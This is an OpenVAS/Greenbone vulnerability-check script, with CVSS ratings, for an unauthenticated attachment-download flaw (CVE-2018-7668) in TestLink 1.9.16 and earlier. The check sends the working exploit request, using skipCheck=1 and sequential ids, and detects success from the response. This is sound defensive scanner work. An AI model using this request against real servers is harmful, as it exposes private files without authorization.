CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
77.9%
TestLink is prone to an information vulnerability.
# Copyright (C) 2018 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:testlink:testlink";
if( description )
{
script_oid("1.3.6.1.4.1.25623.1.0.113125");
script_version("2021-12-14T13:34:30+0000");
script_tag(name:"last_modification", value:"2021-12-14 13:34:30 +0000 (Tue, 14 Dec 2021)");
script_tag(name:"creation_date", value:"2018-03-07 14:30:00 +0100 (Wed, 07 Mar 2018)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2018-03-27 17:57:00 +0000 (Tue, 27 Mar 2018)");
script_cve_id("CVE-2018-7668");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("TestLink <= 1.9.16 Information Disclosure Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2018 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_testlink_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("testlink/http/detected");
script_tag(name:"summary", value:"TestLink is prone to an information vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"TestLink allows remote attackers to read arbitrary attachments
via a modified ID field to /lib/attachments/attachmentdownload.php.");
script_tag(name:"impact", value:"Successful exploitation would allow an attacker to access
arbitrary attachment files.");
script_tag(name:"affected", value:"TestLink versions through 1.9.16.");
script_tag(name:"solution", value:"Update to version 1.9.17 or later.");
script_xref(name:"URL", value:"http://lists.openwall.net/full-disclosure/2018/02/28/1");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/50578");
script_xref(name:"URL", value:"https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
for( i = 1; i <= 5; i++ ) {
url = dir + "/lib/attachments/attachmentdownload.php?skipCheck=1&id=" + i;
req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req );
body_pattern = "Downloading attachment</h1>";
header1_pattern = 'Content-Disposition: inline; filename="';
header2_pattern = 'Content-Description: Download Data';
if( egrep( string:res, pattern:body_pattern, icase:TRUE ) ||
( egrep( string:res, pattern:header1_pattern, icase:TRUE ) &&
egrep( string:res, pattern:header2_pattern, icase:TRUE ) ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
77.9%